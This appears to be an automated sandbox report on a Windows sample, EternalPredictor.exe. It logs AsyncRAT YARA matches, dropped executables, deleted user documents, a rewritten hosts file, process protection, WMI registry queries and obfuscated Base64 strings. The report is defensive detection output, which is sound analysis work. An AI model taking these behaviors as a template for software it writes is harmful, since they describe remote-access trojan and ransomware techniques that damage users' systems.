Source: program.exe, 00000008.00000002.1938769127.00000237A47E8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Roaming\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\QCFWYSKMHA.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\QCFWYSKMHA.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\IPKGELNTQY.xlsx	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\EWZCVGNOWT.mp3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\LSBIHQFDVT.docx	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\AppData\Roaming\program.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: cmd.exe

Process created: 45

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Roaming\eternal.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.EternalPredictor.exe.3d10cf0.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.eternal.exe.bc0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.EternalPredictor.exe.3d22330.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\eternal.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A137EC6	2_2_00007FFB4A137EC6
Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A139098	2_2_00007FFB4A139098
Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A13186D	2_2_00007FFB4A13186D
Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A13669D	2_2_00007FFB4A13669D
Source: C:\Users\user\AppData\Roaming\eternal.exe	Code function: 2_2_00007FFB4A132059	2_2_00007FFB4A132059
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C651000	5_2_00007FF72C651000
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C676964	5_2_00007FF72C676964
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6589E0	5_2_00007FF72C6589E0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C66E570	5_2_00007FF72C66E570
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C661D54	5_2_00007FF72C661D54
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C665D30	5_2_00007FF72C665D30
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6635A0	5_2_00007FF72C6635A0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C675E7C	5_2_00007FF72C675E7C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C66DEF0	5_2_00007FF72C66DEF0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C669EA0	5_2_00007FF72C669EA0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C668794	5_2_00007FF72C668794
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C661F60	5_2_00007FF72C661F60
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C661740	5_2_00007FF72C661740
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C679728	5_2_00007FF72C679728
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C659800	5_2_00007FF72C659800
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C671874	5_2_00007FF72C671874
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6680E4	5_2_00007FF72C6680E4
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6708C8	5_2_00007FF72C6708C8
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6740AC	5_2_00007FF72C6740AC
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C662164	5_2_00007FF72C662164
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C661944	5_2_00007FF72C661944
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6639A4	5_2_00007FF72C6639A4
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C66DA5C	5_2_00007FF72C66DA5C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C65A2DB	5_2_00007FF72C65A2DB
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C661B50	5_2_00007FF72C661B50
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C662C10	5_2_00007FF72C662C10
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C673C10	5_2_00007FF72C673C10
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C675C00	5_2_00007FF72C675C00
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C65A474	5_2_00007FF72C65A474
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C676418	5_2_00007FF72C676418
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6708C8	5_2_00007FF72C6708C8
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C65ACAD	5_2_00007FF72C65ACAD
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C651000	8_2_00007FF72C651000
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C676964	8_2_00007FF72C676964
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C66E570	8_2_00007FF72C66E570
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C661D54	8_2_00007FF72C661D54
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C665D30	8_2_00007FF72C665D30
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6635A0	8_2_00007FF72C6635A0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C675E7C	8_2_00007FF72C675E7C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C66DEF0	8_2_00007FF72C66DEF0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C669EA0	8_2_00007FF72C669EA0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C668794	8_2_00007FF72C668794
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C661F60	8_2_00007FF72C661F60
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C661740	8_2_00007FF72C661740
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C679728	8_2_00007FF72C679728
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C659800	8_2_00007FF72C659800
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C671874	8_2_00007FF72C671874
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6680E4	8_2_00007FF72C6680E4
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6708C8	8_2_00007FF72C6708C8
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6740AC	8_2_00007FF72C6740AC
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C662164	8_2_00007FF72C662164
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C661944	8_2_00007FF72C661944
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6589E0	8_2_00007FF72C6589E0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6639A4	8_2_00007FF72C6639A4
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C66DA5C	8_2_00007FF72C66DA5C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C65A2DB	8_2_00007FF72C65A2DB
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C661B50	8_2_00007FF72C661B50
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C662C10	8_2_00007FF72C662C10
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C673C10	8_2_00007FF72C673C10
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C675C00	8_2_00007FF72C675C00
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C65A474	8_2_00007FF72C65A474
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C676418	8_2_00007FF72C676418
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6708C8	8_2_00007FF72C6708C8
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C65ACAD	8_2_00007FF72C65ACAD
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4220350	8_2_00007FFBA4220350
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4171950	8_2_00007FFBA4171950
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4172270	8_2_00007FFBA4172270
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4171300	8_2_00007FFBA4171300
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA43E1F40	8_2_00007FFBA43E1F40
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA43D11E0	8_2_00007FFBA43D11E0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA43D1E20	8_2_00007FFBA43D1E20
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA60D5C00	8_2_00007FFBA60D5C00
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6098720	8_2_00007FFBA6098720
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA609116D	8_2_00007FFBA609116D
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6108870	8_2_00007FFBA6108870
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA60916FE	8_2_00007FFBA60916FE
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6091D93	8_2_00007FFBA6091D93
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6092702	8_2_00007FFBA6092702
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA609149C	8_2_00007FFBA609149C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6091CBC	8_2_00007FFBA6091CBC
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6091B54	8_2_00007FFBA6091B54
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA609117C	8_2_00007FFBA609117C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6091A0F	8_2_00007FFBA6091A0F
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6092617	8_2_00007FFBA6092617
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA610AC80	8_2_00007FFBA610AC80
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA60C8920	8_2_00007FFBA60C8920
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6091EE2	8_2_00007FFBA6091EE2
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6091618	8_2_00007FFBA6091618
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA60921C6	8_2_00007FFBA60921C6
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6091C12	8_2_00007FFBA6091C12
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66A54E8	8_2_00007FFBA66A54E8
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66A5CBC	8_2_00007FFBA66A5CBC
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AECC0	8_2_00007FFBA66AECC0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66ABF74	8_2_00007FFBA66ABF74
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66A8734	8_2_00007FFBA66A8734
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66D1C00	8_2_00007FFBA66D1C00
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA67A92B0	8_2_00007FFBA67A92B0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA67B2250	8_2_00007FFBA67B2250
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6814C70	8_2_00007FFBA6814C70
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA6807750	8_2_00007FFBA6807750
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA67F06C0	8_2_00007FFBA67F06C0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4A71D0	8_2_00007FFBAA4A71D0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA491091	8_2_00007FFBAA491091
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4910C0	8_2_00007FFBAA4910C0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA493E40	8_2_00007FFBAA493E40
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4B5F00	8_2_00007FFBAA4B5F00
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4B12B0	8_2_00007FFBAA4B12B0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4B8F60	8_2_00007FFBAA4B8F60
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4B2F80	8_2_00007FFBAA4B2F80
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4B73FC	8_2_00007FFBAA4B73FC
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4B23B0	8_2_00007FFBAA4B23B0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4BF534	8_2_00007FFBAA4BF534
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4B1920	8_2_00007FFBAA4B1920
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 22_2_00007FFB4A132059	22_2_00007FFB4A132059
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 22_2_00007FFB4A130E68	22_2_00007FFB4A130E68
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 22_2_00007FFB4A13186D	22_2_00007FFB4A13186D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 51_2_00007FFB4A123B9D	51_2_00007FFB4A123B9D
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 91_2_00007FFB4A122059	91_2_00007FFB4A122059
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 91_2_00007FFB4A120E68	91_2_00007FFB4A120E68
Source: C:\Users\user\AppData\Roaming\XClient.exe	Code function: 91_2_00007FFB4A12186D	91_2_00007FFB4A12186D

Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FFBA66AEC88 appears 68 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FFBA66AEB58 appears 49 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FFBA610D341 appears 687 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FFBAA499598 appears 326 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FF72C652710 appears 104 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FFBAA4994E8 appears 38 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FFBA6091325 appears 298 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FFBA610D32F appears 182 times
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: String function: 00007FF72C652910 appears 34 times

Source: EternalPredictor.exe, 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameeternal.exe4 vs EternalPredictor.exe

Source: EternalPredictor.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

Source: C:\Users\user\AppData\Roaming\program.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.EternalPredictor.exe.3d10cf0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.eternal.exe.bc0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.EternalPredictor.exe.3d22330.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\eternal.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: eternal.exe.0.dr, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: eternal.exe.0.dr, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: eternal.exe.0.dr, pwLyC8IGS9fWPw8AOOpq13VTDw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, pwLyC8IGS9fWPw8AOOpq13VTDw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, pwLyC8IGS9fWPw8AOOpq13VTDw.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: eternal.exe.0.dr, ehFF3g5JMWmvPBY7f8PHXvmxPU1QBWGhSW9HZi8z2cL2PB9AU.cs	Base64 encoded string: 'zwUuG1nByTCEbaZKHWOAlu2mCDp7JUhoMorAGSUIUqs7jGnGSWfcL7nHRupmiUNZgDRBDBUz7hlO'
Source: eternal.exe.0.dr, OikC8q0jRtn3fHthyLWpHpUTg7BlI3UgPeim5M0jeam7kzrAn.cs	Base64 encoded string: 'nOPvjGtOiWrak5U6dMLaaYXnV5efRXgPksc1lS1MhJkqNd2g2hTJrZQwTI60OSsaRSVeV0APlUZT'
Source: eternal.exe.0.dr, fHfgyTqtDDXlgFY83FcOCVN0lmCsgZzHJUE3KRMC6.cs	Base64 encoded string: 'r9ZP2HoqHH770WDyWixlEX8ZRUYr87OFDSl4HtLk1VmHoDXC9z7gjvEpvEhFSKRin9IH', 'Yr6d8vHWsl1qg9CkWxf6ZUUnm0jR7Ke4Mfc2h4jChLnQgdVIMGjbfPrKphFxKxQHby6f', 'meCKLNBFqzdfahnjOzKN2HfHAYWoXX3kR875tED3tufBVEQEvOWeT72R871e8kvPOCp7', 't8tUYo6qF3AbbmaIzYNdk1tEW1YDNbUFN7MOTWhg89CaDB7M29qu4afdXBX3c9m8R74p', 'yOif5zu6batbtJMG78mjMggTXaUoZCMKTy1x4aM2XVeveuayD5ImGboaJ8MvCFi5Bzzl', 'hp5gyXDcXfr0IbLlGgN4BEoDIMeolWnxebvOOVVABA0hQ5FhBVeK5kTjAOFLkt2bpUb2'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, ehFF3g5JMWmvPBY7f8PHXvmxPU1QBWGhSW9HZi8z2cL2PB9AU.cs	Base64 encoded string: 'zwUuG1nByTCEbaZKHWOAlu2mCDp7JUhoMorAGSUIUqs7jGnGSWfcL7nHRupmiUNZgDRBDBUz7hlO'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, OikC8q0jRtn3fHthyLWpHpUTg7BlI3UgPeim5M0jeam7kzrAn.cs	Base64 encoded string: 'nOPvjGtOiWrak5U6dMLaaYXnV5efRXgPksc1lS1MhJkqNd2g2hTJrZQwTI60OSsaRSVeV0APlUZT'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, fHfgyTqtDDXlgFY83FcOCVN0lmCsgZzHJUE3KRMC6.cs	Base64 encoded string: 'r9ZP2HoqHH770WDyWixlEX8ZRUYr87OFDSl4HtLk1VmHoDXC9z7gjvEpvEhFSKRin9IH', 'Yr6d8vHWsl1qg9CkWxf6ZUUnm0jR7Ke4Mfc2h4jChLnQgdVIMGjbfPrKphFxKxQHby6f', 'meCKLNBFqzdfahnjOzKN2HfHAYWoXX3kR875tED3tufBVEQEvOWeT72R871e8kvPOCp7', 't8tUYo6qF3AbbmaIzYNdk1tEW1YDNbUFN7MOTWhg89CaDB7M29qu4afdXBX3c9m8R74p', 'yOif5zu6batbtJMG78mjMggTXaUoZCMKTy1x4aM2XVeveuayD5ImGboaJ8MvCFi5Bzzl', 'hp5gyXDcXfr0IbLlGgN4BEoDIMeolWnxebvOOVVABA0hQ5FhBVeK5kTjAOFLkt2bpUb2'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, ehFF3g5JMWmvPBY7f8PHXvmxPU1QBWGhSW9HZi8z2cL2PB9AU.cs	Base64 encoded string: 'zwUuG1nByTCEbaZKHWOAlu2mCDp7JUhoMorAGSUIUqs7jGnGSWfcL7nHRupmiUNZgDRBDBUz7hlO'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, OikC8q0jRtn3fHthyLWpHpUTg7BlI3UgPeim5M0jeam7kzrAn.cs	Base64 encoded string: 'nOPvjGtOiWrak5U6dMLaaYXnV5efRXgPksc1lS1MhJkqNd2g2hTJrZQwTI60OSsaRSVeV0APlUZT'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, fHfgyTqtDDXlgFY83FcOCVN0lmCsgZzHJUE3KRMC6.cs	Base64 encoded string: 'r9ZP2HoqHH770WDyWixlEX8ZRUYr87OFDSl4HtLk1VmHoDXC9z7gjvEpvEhFSKRin9IH', 'Yr6d8vHWsl1qg9CkWxf6ZUUnm0jR7Ke4Mfc2h4jChLnQgdVIMGjbfPrKphFxKxQHby6f', 'meCKLNBFqzdfahnjOzKN2HfHAYWoXX3kR875tED3tufBVEQEvOWeT72R871e8kvPOCp7', 't8tUYo6qF3AbbmaIzYNdk1tEW1YDNbUFN7MOTWhg89CaDB7M29qu4afdXBX3c9m8R74p', 'yOif5zu6batbtJMG78mjMggTXaUoZCMKTy1x4aM2XVeveuayD5ImGboaJ8MvCFi5Bzzl', 'hp5gyXDcXfr0IbLlGgN4BEoDIMeolWnxebvOOVVABA0hQ5FhBVeK5kTjAOFLkt2bpUb2'

Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
